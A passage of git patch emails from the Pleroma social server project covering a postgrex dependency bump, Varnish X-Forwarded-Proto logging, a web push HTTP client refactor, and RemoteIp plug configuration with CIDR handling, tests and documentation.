"c6f067fa3b308ed9e0e6beb2b34277c9c4e48bf95338edabd8f4a757a26e04c2"}, "open_api_spex": {:git, "https://git.pleroma.social/pleroma/elixir-libraries/open_api_spex.git", "f296ac0924ba3cf79c7a588c4c252889df4c2edd", [ref: "f296ac0924ba3cf79c7a588c4c252889df4c2edd"]}, "p1_utils": {:hex, :p1_utils, "1.0.18", "3fe224de5b2e190d730a3c5da9d6e8540c96484cf4b4692921d1e28f0c32b01c", [:rebar3], [], "hexpm", "1fc8773a71a15553b179c986b22fbeead19b28fe486c332d4929700ffeb71f88"}, "parse_trans": {:hex, :parse_trans, "3.3.0", "09765507a3c7590a784615cfd421d101aec25098d50b89d7aa1d66646bc571c1", [:rebar3], [], "hexpm", "17ef63abde837ad30680ea7f857dd9e7ced9476cdd7b0394432af4bfc241b960"}, @@ -95,7 +95,7 @@ "plug_static_index_html": {:hex, :plug_static_index_html, "1.0.0", "840123d4d3975585133485ea86af73cb2600afd7f2a976f9f5fd8b3808e636a0", [:mix], [{:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "79fd4fcf34d110605c26560cbae8f23c603ec4158c08298bd4360fdea90bb5cf"}, "poison": {:hex, :poison, "3.1.0", "d9eb636610e096f86f25d9a46f35a9facac35609a7591b3be3326e99a0484665", [:mix], [], "hexpm", "fec8660eb7733ee4117b85f55799fd3833eb769a6df71ccf8903e8dc5447cfce"}, "poolboy": {:hex, :poolboy, "1.5.2", "392b007a1693a64540cead79830443abf5762f5d30cf50bc95cb2c1aaafa006b", [:rebar3], [], "hexpm", "dad79704ce5440f3d5a3681c8590b9dc25d1a561e8f5a9c995281012860901e3"}, - "postgrex": {:hex, :postgrex, "0.15.5", "aec40306a622d459b01bff890fa42f1430dac61593b122754144ad9033a2152f", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "ed90c81e1525f65a2ba2279dbcebf030d6d13328daa2f8088b9661eb9143af7f"}, + "postgrex": {:hex, :postgrex, "0.15.6", "a464c72010a56e3214fe2b99c1a76faab4c2bb0255cabdef30dea763a3569aa2", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:db_connection, "~> 2.1", [hex: :db_connection, repo: "hexpm", optional: false]}, {:decimal, "~> 1.5 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "f99268325ac8f66ffd6c4964faab9e70fbf721234ab2ad238c00f9530b8cdd55"}, "pot": {:hex, :pot, "0.11.0", "61bad869a94534739dd4614a25a619bc5c47b9970e9a0ea5bef4628036fc7a16", [:rebar3], [], "hexpm", "57ee6ee6bdeb639661ffafb9acefe3c8f966e45394de6a766813bb9e1be4e54b"}, "prometheus": {:hex, :prometheus, "4.6.0", "20510f381db1ccab818b4cf2fac5fa6ab5cc91bc364a154399901c001465f46f", [:mix, :rebar3], [], "hexpm", "4905fd2992f8038eccd7aa0cd22f40637ed618c0bed1f75c05aacec15b7545de"}, "prometheus_ecto": {:hex, :prometheus_ecto, "1.4.3", "3dd4da1812b8e0dbee81ea58bb3b62ed7588f2eae0c9e97e434c46807ff82311", [:mix], [{:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "8d66289f77f913b37eda81fd287340c17e61a447549deb28efc254532b2bed82"}, @@ -120,5 +120,5 @@ "unicode_util_compat": {:hex, :unicode_util_compat, "0.4.1", "d869e4c68901dd9531385bb0c8c40444ebf624e60b6962d95952775cac5e90cd", [:rebar3], [], "hexpm", "1d1848c40487cdb0b30e8ed975e34e025860c02e419cb615d255849f3427439d"}, "unsafe": {:hex, :unsafe, "1.0.1", "a27e1874f72ee49312e0a9ec2e0b27924214a05e3ddac90e91727bc76f8613d8", [:mix], [], "hexpm", "6c7729a2d214806450d29766abc2afaa7a2cbecf415be64f36a6691afebb50e5"}, "web_push_encryption": {:hex, :web_push_encryption, "0.3.0", "598b5135e696fd1404dc8d0d7c0fa2c027244a4e5d5e5a98ba267f14fdeaabc8", [:mix], [{:httpoison, "~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jose, "~> 1.8", [hex: :jose, repo: "hexpm", optional: false]}], "hexpm", "f10bdd1afe527ede694749fb77a2f22f146a51b054c7fa541c9fd920fba7c875"}, - "websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []} + "websocket_client": {:git, "https://github.com/jeremyong/websocket_client.git", "9a6f65d05ebf2725d62fb19262b21f1805a59fbf", []}, } -- cgit v1.2.3 From 49229107e812d649e66e36e32e238db66b353b0f Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 30 Sep 2020 12:32:54 -0500 Subject: Make it possible for Varnish logs to contain the true scheme used by clients instead of always reporting http:// --- installation/pleroma.vcl | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/installation/pleroma.vcl b/installation/pleroma.vcl index 154747aa6..57b6d17b3 100644 --- a/installation/pleroma.vcl +++ b/installation/pleroma.vcl @@ -1,3 +1,4 @@ +# Recommended varnishncsa logging format: '%h %l %u %t "%m %{X-Forwarded-Proto}i://%{Host}i%U%q %H" %s %b "%{Referer}i" "%{User-agent}i"' vcl 4.1; import std; @@ -14,8 +15,11 @@ acl purge { sub vcl_recv { # Redirect HTTP to HTTPS if (std.port(server.ip) != 443) { + set req.http.X-Forwarded-Proto = "http"; set req.http.x-redir = "https://" + req.http.host + req.url; return (synth(750, "")); + } else { + set req.http.X-Forwarded-Proto = "https"; } # CHUNKED SUPPORT -- cgit v1.2.3 From b3015db841536c26934f43374ed75fb77a11ff68 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 30 Sep 2020 12:49:51 -0500 Subject: Syntax error --- installation/pleroma.vcl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/installation/pleroma.vcl b/installation/pleroma.vcl index 57b6d17b3..13dad784c 100644 --- a/installation/pleroma.vcl +++ b/installation/pleroma.vcl @@ -109,7 +109,7 @@ sub vcl_hash { sub vcl_backend_fetch { # Be more lenient for slow servers on the fediverse - if bereq.url ~ "^/proxy/" { + if (bereq.url ~ "^/proxy/") { set bereq.first_byte_timeout = 300s; } -- cgit v1.2.3 From cbdaabad345914e7424e614032056ff86e21142f Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Thu, 1 Oct 2020 13:32:11 +0300 Subject: web push http_client fix --- config/benchmark.exs | 2 -- config/config.exs | 2 +- config/test.exs | 2 -- lib/pleroma/http/web_push.ex | 12 ++++++++++++ lib/pleroma/web/push/impl.ex | 12 ++++++------ test/support/web_push_http_client_mock.ex | 23 ----------------------- test/web/push/impl_test.exs | 22 ++-------------------- 7 files changed, 21 insertions(+), 54 deletions(-) create mode 100644 lib/pleroma/http/web_push.ex delete mode 100644 test/support/web_push_http_client_mock.ex diff --git a/config/benchmark.exs b/config/benchmark.exs index e867253eb..5567ff26e 100644 --- a/config/benchmark.exs +++ b/config/benchmark.exs @@ -59,8 +59,6 @@ "BLH1qVhJItRGCfxgTtONfsOKDc9VRAraXw-3NsmjMngWSh7NxOizN6bkuRA7iLTMPS82PjwJAr3UoK9EC1IFrz4", private_key: "_-XZ0iebPrRfZ_o0-IatTdszYa8VCH1yLN-JauK7HHA" -config :web_push_encryption, :http_client, Pleroma.Web.WebPushHttpClientMock - config :pleroma, Pleroma.ScheduledActivity, daily_user_limit: 2, total_user_limit: 3, diff --git a/config/config.exs b/config/config.exs index 00624bf00..2e6b0796a 100644 --- a/config/config.exs +++ b/config/config.exs @@ -809,7 +809,7 @@ config :ex_aws, http_client: Pleroma.HTTP.ExAws -config :web_push_encryption, http_client: Pleroma.HTTP +config :web_push_encryption, http_client: Pleroma.HTTP.WebPush config :pleroma, :instances_favicons, enabled: false diff --git a/config/test.exs b/config/test.exs index 93a0e2a61..95f860f2f 100644 --- a/config/test.exs +++ b/config/test.exs @@ -83,8 +83,6 @@ "BLH1qVhJItRGCfxgTtONfsOKDc9VRAraXw-3NsmjMngWSh7NxOizN6bkuRA7iLTMPS82PjwJAr3UoK9EC1IFrz4", private_key: "_-XZ0iebPrRfZ_o0-IatTdszYa8VCH1yLN-JauK7HHA" -config :web_push_encryption, :http_client, Pleroma.Web.WebPushHttpClientMock - config :pleroma, Oban, queues: false, crontab: false, diff --git a/lib/pleroma/http/web_push.ex b/lib/pleroma/http/web_push.ex new file mode 100644 index 000000000..78148a12e --- /dev/null +++ b/lib/pleroma/http/web_push.ex @@ -0,0 +1,12 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.WebPush do + @moduledoc false + + def post(url, payload, headers) do + list_headers = Map.to_list(headers) + Pleroma.HTTP.post(url, payload, list_headers) + end +end diff --git a/lib/pleroma/web/push/impl.ex b/lib/pleroma/web/push/impl.ex index 16368485e..da535aa68 100644 --- a/lib/pleroma/web/push/impl.ex +++ b/lib/pleroma/web/push/impl.ex @@ -19,7 +19,7 @@ defmodule Pleroma.Web.Push.Impl do @types ["Create", "Follow", "Announce", "Like", "Move"] @doc "Performs sending notifications for user subscriptions" - @spec perform(Notification.t()) :: list(any) | :error + @spec perform(Notification.t()) :: list(any) | :error | {:error, :unknown_type} def perform( %{ activity: %{data: %{"type" => activity_type}} = activity, @@ -64,20 +64,20 @@ def perform(_) do @doc "Push message to web" def push_message(body, sub, api_key, subscription) do case WebPushEncryption.send_web_push(body, sub, api_key) do - {:ok, %{status_code: code}} when 400 <= code and code < 500 -> + {:ok, %{status: code}} when code in 400..499 -> Logger.debug("Removing subscription record") Repo.delete!(subscription) :ok - {:ok, %{status_code: code}} when 200 <= code and code < 300 -> + {:ok, %{status: code}} when code in 200..299 -> :ok - {:ok, %{status_code: code}} -> + {:ok, %{status: code}} -> Logger.error("Web Push Notification failed with code: #{code}") :error - _ -> - Logger.error("Web Push Notification failed with unknown error") + error -> + Logger.error("Web Push Notification failed with #{inspect(error)}") :error end end diff --git a/test/support/web_push_http_client_mock.ex b/test/support/web_push_http_client_mock.ex deleted file mode 100644 index 3cd12957d..000000000 --- a/test/support/web_push_http_client_mock.ex +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.WebPushHttpClientMock do - def get(url, headers \\ [], options \\ []) do - { - res, - %Tesla.Env{status: status} - } = Pleroma.HTTP.request(:get, url, "", headers, options) - - {res, %{status_code: status}} - end - - def post(url, body, headers \\ [], options \\ []) do - { - res, - %Tesla.Env{status: status} - } = Pleroma.HTTP.request(:post, url, body, headers, options) - - {res, %{status_code: status}} - end -end diff --git a/test/web/push/impl_test.exs b/test/web/push/impl_test.exs index c7c17e156..6cab46696 100644 --- a/test/web/push/impl_test.exs +++ b/test/web/push/impl_test.exs @@ -5,6 +5,8 @@ defmodule Pleroma.Web.Push.ImplTest do use Pleroma.DataCase + import Pleroma.Factory + alias Pleroma.Notification alias Pleroma.Object alias Pleroma.User @@ -12,10 +14,6 @@ defmodule Pleroma.Web.Push.ImplTest do alias Pleroma.Web.CommonAPI alias Pleroma.Web.Push.Impl alias Pleroma.Web.Push.Subscription - alias Pleroma.Web.WebPushHttpClientMock - - import Mock - import Pleroma.Factory setup do Tesla.Mock.mock(fn @@ -80,22 +78,6 @@ test "successful message sending" do assert Impl.push_message(@message, @sub, @api_key, %Subscription{}) == :ok end - test_with_mock "uses WebPushHttpClientMock as an HTTP client", WebPushHttpClientMock, - post: fn _, _, _ -> {:ok, %{status_code: 200}} end do - Impl.push_message(@message, @sub, @api_key, %Subscription{}) - assert_called(WebPushHttpClientMock.post("https://example.com/example/1234", :_, :_)) - end - - test_with_mock "uses Pleroma.HTTP as an HTTP client", Pleroma.HTTP, - post: fn _, _, _ -> {:ok, %{status_code: 200}} end do - client = Application.get_env(:web_push_encryption, :http_client) - on_exit(fn -> Application.put_env(:web_push_encryption, :http_client, client) end) - Application.put_env(:web_push_encryption, :http_client, Pleroma.HTTP) - - Impl.push_message(@message, @sub, @api_key, %Subscription{}) - assert_called(Pleroma.HTTP.post("https://example.com/example/1234", :_, :_)) - end - @tag capture_log: true test "fail message sending" do assert Impl.push_message( -- cgit v1.2.3 From 8d093a68a6b54eff232566dfd7f52e9c8682398a Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 5 Oct 2020 13:58:12 +0200 Subject: Docs: Modify docs so the postgres config is harder to get wrong. --- docs/installation/otp_en.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/docs/installation/otp_en.md b/docs/installation/otp_en.md index f6b05c887..92584d80d 100644 --- a/docs/installation/otp_en.md +++ b/docs/installation/otp_en.md @@ -101,6 +101,8 @@ It is encouraged to check [Optimizing your PostgreSQL performance](../configurat If you are using PostgreSQL 12 or higher, add this to your Ecto database configuration ```elixir +# +config :pleroma, Pleroma.Repo, prepare: :named, parameters: [ plan_cache_mode: "force_custom_plan" -- cgit v1.2.3 From 35ee759e74d0737598311d8e4245168f981812d3 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 5 Oct 2020 11:48:41 -0500 Subject: Add helper function to convert single IPs into CIDR format if they were not provided that way --- lib/pleroma/plugs/remote_ip.ex | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex index 0ac9050d0..d1b1f793a 100644 --- a/lib/pleroma/plugs/remote_ip.ex +++ b/lib/pleroma/plugs/remote_ip.ex @@ -47,8 +47,19 @@ defp remote_ip_opts(config) do config |> Keyword.get(:proxies, []) |> Enum.concat(reserved) - |> Enum.map(&InetCidr.parse/1) + |> Enum.map(&maybe_add_cidr/1) {headers, proxies} end + + defp maybe_add_cidr(proxy) when is_binary(proxy) do + proxy = + cond do + "/" in String.codepoints(proxy) -> proxy + InetCidr.v4?(InetCidr.parse_address!(proxy)) -> proxy <> "/32" + InetCidr.v6?(InetCidr.parse_address!(proxy)) -> proxy <> "/128" + end + + InetCidr.parse(proxy) + end end -- cgit v1.2.3 From 21a73ce9f2c577c046e1cd17ef1a2b6636d01585 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 14:54:21 -0500 Subject: Document the NSFW link preview change --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9ae5d0eda..8fc1750d1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -13,6 +13,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Changed - **Breaking:** Pleroma Admin API: emoji packs and files routes changed. +- **Breaking:** Sensitive/NSFW statuses no longer disable link previews. - Search: Users are now findable by their urls. - Renamed `:await_up_timeout` in `:connections_pool` namespace to `:connect_timeout`, old name is deprecated. - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. -- cgit v1.2.3 From 7aff2b47c56c5b41620445b7d49c429eb1866164 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 15:47:11 -0500 Subject: Fix docs for default headers used by RemoteIp. We only use X-Forwarded-For by default. --- config/description.exs | 5 +++-- docs/configuration/cheatsheet.md | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/config/description.exs b/config/description.exs index ac3dfbb2b..f6331dd30 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3262,8 +3262,9 @@ %{ key: :headers, type: {:list, :string}, - description: - "A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Order does not matter. Default: `~w[forwarded x-forwarded-for x-client-ip x-real-ip]`." + description: """ + A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Default: `["x-forwarded-for"]`. + """ }, %{ key: :proxies, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 42e5fe808..e0194525d 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -426,7 +426,7 @@ This will make Pleroma listen on `127.0.0.1` port `8080` and generate urls start Available options: * `enabled` - Enable/disable the plug. Defaults to `false`. -* `headers` - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Order does not matter. Defaults to `["x-forwarded-for"]`. +* `headers` - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Defaults to `["x-forwarded-for"]`. * `proxies` - A list of strings in [CIDR](https://en.wikipedia.org/wiki/CIDR) notation specifying the IPs of known proxies. Defaults to `[]`. * `reserved` - Defaults to [localhost](https://en.wikipedia.org/wiki/Localhost) and [private network](https://en.wikipedia.org/wiki/Private_network). -- cgit v1.2.3 From d43d05005ae4e8b0f069111baee867492d4f0c52 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:02:46 -0500 Subject: Move hardcoded default configuration into config.exs --- config/config.exs | 13 ++++++++++++- lib/pleroma/plugs/remote_ip.ex | 31 +++++++------------------------ test/plugs/remote_ip_test.exs | 24 +++++++++++++++++------- 3 files changed, 36 insertions(+), 32 deletions(-) diff --git a/config/config.exs b/config/config.exs index 2e6b0796a..d53663d36 100644 --- a/config/config.exs +++ b/config/config.exs @@ -677,7 +677,18 @@ config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600 -config :pleroma, Pleroma.Plugs.RemoteIp, enabled: true +config :pleroma, Pleroma.Plugs.RemoteIp, + enabled: true, + headers: ["x-forwarded-for"], + proxies: [], + reserved: [ + "127.0.0.0/8", + "::1/128", + "fc00::/7", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16" + ] config :pleroma, :static_fe, enabled: false diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex index d1b1f793a..9487efa5f 100644 --- a/lib/pleroma/plugs/remote_ip.ex +++ b/lib/pleroma/plugs/remote_ip.ex @@ -7,45 +7,28 @@ defmodule Pleroma.Plugs.RemoteIp do This is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. """ + alias Pleroma.Config import Plug.Conn @behaviour Plug - @headers ~w[ - x-forwarded-for - ] - - # https://en.wikipedia.org/wiki/Localhost - # https://en.wikipedia.org/wiki/Private_network - @reserved ~w[ - 127.0.0.0/8 - ::1/128 - fc00::/7 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - ] - def init(_), do: nil def call(%{remote_ip: original_remote_ip} = conn, _) do - config = Pleroma.Config.get(__MODULE__, []) - - if Keyword.get(config, :enabled, false) do - %{remote_ip: new_remote_ip} = conn = RemoteIp.call(conn, remote_ip_opts(config)) + if Config.get([__MODULE__, :enabled]) do + %{remote_ip: new_remote_ip} = conn = RemoteIp.call(conn, remote_ip_opts()) assign(conn, :remote_ip_found, original_remote_ip != new_remote_ip) else conn end end - defp remote_ip_opts(config) do - headers = config |> Keyword.get(:headers, @headers) |> MapSet.new() - reserved = Keyword.get(config, :reserved, @reserved) + defp remote_ip_opts() do + headers = Config.get([__MODULE__, :headers], []) |> MapSet.new() + reserved = Config.get([__MODULE__, :reserved], []) proxies = - config - |> Keyword.get(:proxies, []) + Config.get([__MODULE__, :proxies], []) |> Enum.concat(reserved) |> Enum.map(&maybe_add_cidr/1) diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 752ab32e7..2dd1ac1f8 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -3,13 +3,27 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Plugs.RemoteIpTest do - use ExUnit.Case, async: true + use ExUnit.Case use Plug.Test alias Pleroma.Plugs.RemoteIp - import Pleroma.Tests.Helpers, only: [clear_config: 1, clear_config: 2] - setup do: clear_config(RemoteIp) + import Pleroma.Tests.Helpers, only: [clear_config: 2] + + setup do: + clear_config(RemoteIp, + enabled: true, + headers: ["x-forwarded-for"], + proxies: [], + reserved: [ + "127.0.0.0/8", + "::1/128", + "fc00::/7", + "10.0.0.0/8", + "172.16.0.0/12", + "192.168.0.0/16" + ] + ) test "disabled" do Pleroma.Config.put(RemoteIp, enabled: false) @@ -25,8 +39,6 @@ test "disabled" do end test "enabled" do - Pleroma.Config.put(RemoteIp, enabled: true) - conn = conn(:get, "/") |> put_req_header("x-forwarded-for", "1.1.1.1") @@ -54,8 +66,6 @@ test "custom headers" do end test "custom proxies" do - Pleroma.Config.put(RemoteIp, enabled: true) - conn = conn(:get, "/") |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") -- cgit v1.2.3 From 9783e9cd8023533d05bf78e3db3375102a199fc0 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:08:26 -0500 Subject: Add test for an entry without CIDR format --- test/plugs/remote_ip_test.exs | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 2dd1ac1f8..849c7fc3d 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -82,4 +82,15 @@ test "custom proxies" do assert conn.remote_ip == {1, 1, 1, 1} end + + test "proxies set without CIDR format" do + Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end end -- cgit v1.2.3 From b8c05f4876b8f48bcd93d7e5d60539101329065a Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:21:27 -0500 Subject: Improve descriptions for reserved and proxies --- config/description.exs | 7 ++++--- docs/configuration/cheatsheet.md | 4 ++-- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/config/description.exs b/config/description.exs index f6331dd30..2c7d91ccc 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3270,13 +3270,14 @@ key: :proxies, type: {:list, :string}, description: - "A list of strings in [CIDR](https://en.wikipedia.org/wiki/CIDR) notation specifying the IPs of known proxies. Default: `[]`." + "A list of upstream proxy IP subnets in CIDR notation. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128." }, %{ key: :reserved, type: {:list, :string}, - description: - "Defaults to [localhost](https://en.wikipedia.org/wiki/Localhost) and [private network](https://en.wikipedia.org/wiki/Private_network)." + description: """ + A list of reserved IP subnets in CIDR notation which should be ignored if found in `headers`. Defaults to `["127.0.0.0/8", "::1/128", "fc00::/7", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]` + """ } ] }, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index e0194525d..22333c4f8 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -427,8 +427,8 @@ Available options: * `enabled` - Enable/disable the plug. Defaults to `false`. * `headers` - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Defaults to `["x-forwarded-for"]`. -* `proxies` - A list of strings in [CIDR](https://en.wikipedia.org/wiki/CIDR) notation specifying the IPs of known proxies. Defaults to `[]`. -* `reserved` - Defaults to [localhost](https://en.wikipedia.org/wiki/Localhost) and [private network](https://en.wikipedia.org/wiki/Private_network). +* `proxies` - A list of upstream proxy IP subnets in CIDR notation. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128. +* `reserved` - A list of reserved IP subnets in CIDR notation which should be ignored if found in `headers`. Defaults to `["127.0.0.0/8", "::1/128", "fc00::/7", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]`. ### :rate_limit -- cgit v1.2.3 From 7a2ed2fc90dd16a5ef45c4dd44a6e09bba035299 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:26:31 -0500 Subject: Credo --- lib/pleroma/plugs/remote_ip.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex index 9487efa5f..51cc87ad8 100644 --- a/lib/pleroma/plugs/remote_ip.ex +++ b/lib/pleroma/plugs/remote_ip.ex @@ -23,7 +23,7 @@ def call(%{remote_ip: original_remote_ip} = conn, _) do end end - defp remote_ip_opts() do + defp remote_ip_opts do headers = Config.get([__MODULE__, :headers], []) |> MapSet.new() reserved = Config.get([__MODULE__, :reserved], []) -- cgit v1.2.3 From e08eb4aba07ce843f3f1149b8c70fb6b4d855c44 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:29:56 -0500 Subject: Don't leak internal variables in the docs. They're useless to users. --- config/description.exs | 2 +- docs/configuration/cheatsheet.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/description.exs b/config/description.exs index 2c7d91ccc..71cb5d913 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3263,7 +3263,7 @@ key: :headers, type: {:list, :string}, description: """ - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Default: `["x-forwarded-for"]`. + A list of strings naming the HTTP headers to use when deriving the true client IP. Default: `["x-forwarded-for"]`. """ }, %{ diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 22333c4f8..7f1dc0fe6 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -426,7 +426,7 @@ This will make Pleroma listen on `127.0.0.1` port `8080` and generate urls start Available options: * `enabled` - Enable/disable the plug. Defaults to `false`. -* `headers` - A list of strings naming the `req_headers` to use when deriving the `remote_ip`. Defaults to `["x-forwarded-for"]`. +* `headers` - A list of strings naming the HTTP headers to use when deriving the true client IP address. Defaults to `["x-forwarded-for"]`. * `proxies` - A list of upstream proxy IP subnets in CIDR notation. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128. * `reserved` - A list of reserved IP subnets in CIDR notation which should be ignored if found in `headers`. Defaults to `["127.0.0.0/8", "::1/128", "fc00::/7", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]`. -- cgit v1.2.3 From b90eda3d8bfa1faf5bdabce9539b601476abed94 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 6 Oct 2020 17:36:29 -0500 Subject: Improve description yet again --- config/description.exs | 2 +- docs/configuration/cheatsheet.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/description.exs b/config/description.exs index 71cb5d913..c6916ad14 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3270,7 +3270,7 @@ key: :proxies, type: {:list, :string}, description: - "A list of upstream proxy IP subnets in CIDR notation. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128." + "A list of upstream proxy IP subnets in CIDR notation from which we will parse the content of `headers`. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128." }, %{ key: :reserved, diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 7f1dc0fe6..ea7dfec98 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -427,7 +427,7 @@ Available options: * `enabled` - Enable/disable the plug. Defaults to `false`. * `headers` - A list of strings naming the HTTP headers to use when deriving the true client IP address. Defaults to `["x-forwarded-for"]`. -* `proxies` - A list of upstream proxy IP subnets in CIDR notation. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128. +* `proxies` - A list of upstream proxy IP subnets in CIDR notation from which we will parse the content of `headers`. Defaults to `[]`. IPv4 entries without a bitmask will be assumed to be /32 and IPv6 /128. * `reserved` - A list of reserved IP subnets in CIDR notation which should be ignored if found in `headers`. Defaults to `["127.0.0.0/8", "::1/128", "fc00::/7", "10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"]`. -- cgit v1.2.3 From d0eca5b12518b0b98ef53003d60b08a78decf35f Mon Sep 17 00:00:00 2001 From: feld Date: Wed, 7 Oct 2020 19:16:53 +0000 Subject: Apply 2 suggestion(s) to 2 file(s) --- lib/pleroma/plugs/remote_ip.ex | 2 +- test/plugs/remote_ip_test.exs | 13 +++++++++++++ 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/plugs/remote_ip.ex b/lib/pleroma/plugs/remote_ip.ex index 51cc87ad8..987022156 100644 --- a/lib/pleroma/plugs/remote_ip.ex +++ b/lib/pleroma/plugs/remote_ip.ex @@ -43,6 +43,6 @@ defp maybe_add_cidr(proxy) when is_binary(proxy) do InetCidr.v6?(InetCidr.parse_address!(proxy)) -> proxy <> "/128" end - InetCidr.parse(proxy) + InetCidr.parse(proxy, true) end end diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 849c7fc3d..2da9f616b 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -92,5 +92,18 @@ test "proxies set without CIDR format" do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} + + test "proxies set `nonsensical` CIDR" do + Pleroma.Config.put([RemoteIp, :reserved], 